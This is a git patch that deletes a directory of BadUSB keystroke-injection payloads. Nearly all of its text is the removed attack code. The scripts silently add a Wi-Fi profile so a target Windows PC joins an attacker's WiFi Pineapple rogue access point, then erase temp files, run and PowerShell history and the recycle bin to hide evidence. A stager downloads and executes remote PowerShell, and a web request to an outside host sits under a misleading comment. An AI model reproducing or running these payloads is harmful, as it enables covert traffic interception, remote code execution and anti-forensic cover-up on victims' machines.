From 8c18a442d25f7ad7777abcb9f5e077433fe0c9b3 Mon Sep 17 00:00:00 2001 From: I-Am-Jakoby Date: Tue, 25 Jul 2023 16:26:54 -0500 Subject: [PATCH] Delete Payloads/Flip-PineApple directory --- .../Flip-PineApple/PineApple-KeyInjection.txt | 79 ------------- Payloads/Flip-PineApple/PineApple.ps1 | 52 --------- Payloads/Flip-PineApple/PineApple.txt | 17 --- Payloads/Flip-PineApple/README.md | 109 ------------------ 4 files changed, 257 deletions(-) delete mode 100644 Payloads/Flip-PineApple/PineApple-KeyInjection.txt delete mode 100644 Payloads/Flip-PineApple/PineApple.ps1 delete mode 100644 Payloads/Flip-PineApple/PineApple.txt delete mode 100644 Payloads/Flip-PineApple/README.md diff --git a/Payloads/Flip-PineApple/PineApple-KeyInjection.txt b/Payloads/Flip-PineApple/PineApple-KeyInjection.txt deleted file mode 100644 index 33e0595..0000000 --- a/Payloads/Flip-PineApple/PineApple-KeyInjection.txt +++ /dev/null @@ -1,79 +0,0 @@ -REM Title: PineApple -REM Description: This payload is meant to use powershell to add the network profile of your wifi pineapple to the targets PC and connect to it -REM This version is a direct key stroke injection attack -REM Author: I am Jakoby -REM Target: Windows 10, 11 -REM -DELAY 1000 -REM -REM If the wifi pineapple SSID is detected target PC will connect to it -REM -GUI r -DELAY 500 -STRING powershell -DELAY 500 -ENTER -REM -DELAY 1000 -REM -STRING $profilefile="Home.xml"; -SHIFT ENTER -STRING $SSID="PineApple"; -SHIFT ENTER -STRING $SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join'' -SHIFT ENTER -DELAY 500 -STRING $xmlfile=" -SHIFT ENTER -STRING -SHIFT ENTER -STRING $SSID -SHIFT ENTER -STRING -SHIFT ENTER -STRING -SHIFT ENTER -STRING $SSIDHEX -SHIFT ENTER -STRING $SSID -SHIFT ENTER -STRING -SHIFT ENTER -STRING -SHIFT ENTER -STRING ESS -SHIFT ENTER -STRING manual -SHIFT ENTER -STRING -SHIFT ENTER -STRING -SHIFT ENTER -STRING -SHIFT ENTER -STRING open -SHIFT ENTER -STRING none -SHIFT ENTER -STRING false -SHIFT ENTER -STRING -SHIFT ENTER -STRING -SHIFT ENTER -STRING -SHIFT ENTER -STRING -SHIFT ENTER -STRING " -SHIFT ENTER -STRING $XMLFILE > ($profilefile) -SHIFT ENTER -STRING netsh wlan add profile filename="$($profilefile)" -SHIFT ENTER -STRING netsh wlan connect name=$SSID -SHIFT ENTER -STRING reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f; Remove-Item (Get-PSreadlineOption).HistorySavePath -REM -DELAY 500 -ENTER diff --git a/Payloads/Flip-PineApple/PineApple.ps1 b/Payloads/Flip-PineApple/PineApple.ps1 deleted file mode 100644 index bc4fe83..0000000 --- a/Payloads/Flip-PineApple/PineApple.ps1 +++ /dev/null @@ -1,52 +0,0 @@ -$profilefile="Home.xml" -$SSID="PineApple" -$SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join'' -$xmlfile=" - -$SSID - - -$SSIDHEX -$SSID - - -ESS -manual - - - -open -none -false - - - - -" -$XMLFILE > ($profilefile) -netsh wlan add profile filename="$($profilefile)" -netsh wlan connect name=$SSID - -#---------------------------------------------------------------------------------------------------- - -<# - -.NOTES - This is to clean up behind you and remove any evidence to prove you were there -#> - -# Delete contents of Temp folder - -rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue - -# Delete run box history - -reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f - -# Delete powershell history - -Remove-Item (Get-PSreadlineOption).HistorySavePath - -# Deletes contents of recycle bin -iwr "https://jakoby.lol/hak5" -EA 0 >$null -Clear-RecycleBin -Force -ErrorAction SilentlyContinue diff --git a/Payloads/Flip-PineApple/PineApple.txt b/Payloads/Flip-PineApple/PineApple.txt deleted file mode 100644 index 4b12bda..0000000 --- a/Payloads/Flip-PineApple/PineApple.txt +++ /dev/null @@ -1,17 +0,0 @@ -REM Title: PineApple -REM -REM Author: I am Jakoby -REM -REM Description: This payload is meant to use powershell to add the network profile of your wifi pineapple to the targets PC and connect to it -REM This version of the payload is executed using an invoke web-request to download and execute the file to add the PineApple's network profile -REM The powershell script needed is provided as OMG-PineApple.ps1 -REM -REM Target: Windows 10, 11 -REM -REM Remeber to replace the link with your link for the intended file to download if you are using a custom variant of this payload -REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly -REM -GUI r -DELAY 500 -STRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl -ENTER diff --git a/Payloads/Flip-PineApple/README.md b/Payloads/Flip-PineApple/README.md deleted file mode 100644 index 67f48d4..0000000 --- a/Payloads/Flip-PineApple/README.md +++ /dev/null @@ -1,109 +0,0 @@ -![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true) - - -
- Table of Contents -
    -
  1. Description
  2. -
  3. Getting Started
  4. -
  5. Contributing
  6. -
  7. Version History
  8. -
  9. Contact
  10. -
  11. Acknowledgments
  12. -
-
- -# PineApple - -A script used to connect a targets PC to your Wifi PineApple. - -## Description - -This program will generate an XML file that will be used to create a network profile for your Wifi PineApple. -The XML file will be manually entered into a PowerShell window. -The PowerShell window and run box will be erased for a clean exit. - -## Getting Started - -### Dependencies - -* Windows 10,11 - -

(back to top)

- -### Executing program - -* Plug in your device -* The entire script will be manually entered into the powershell window - -

(back to top)

- -## Contributing - -All contributors names will be listed here - -I am Jakoby - -

(back to top)

- -## Version History - -* 0.1 - * Initial Release - -

(back to top)

- - -## Contact - -

📱 My Socials 📱

-
- - - - - - - - -
- - C# - -
YouTube -
- - Python - -
Twitter -
- - Golang - -
Instagram -
- - Jsonnet - -
Discord -
- - Jsonnet - -
TikTok -
-
- - - -

(back to top)

- - -## Acknowledgments - -* [Hak5](https://hak5.org/) -* [MG](https://github.com/OMG-MG) - - - -

(back to top)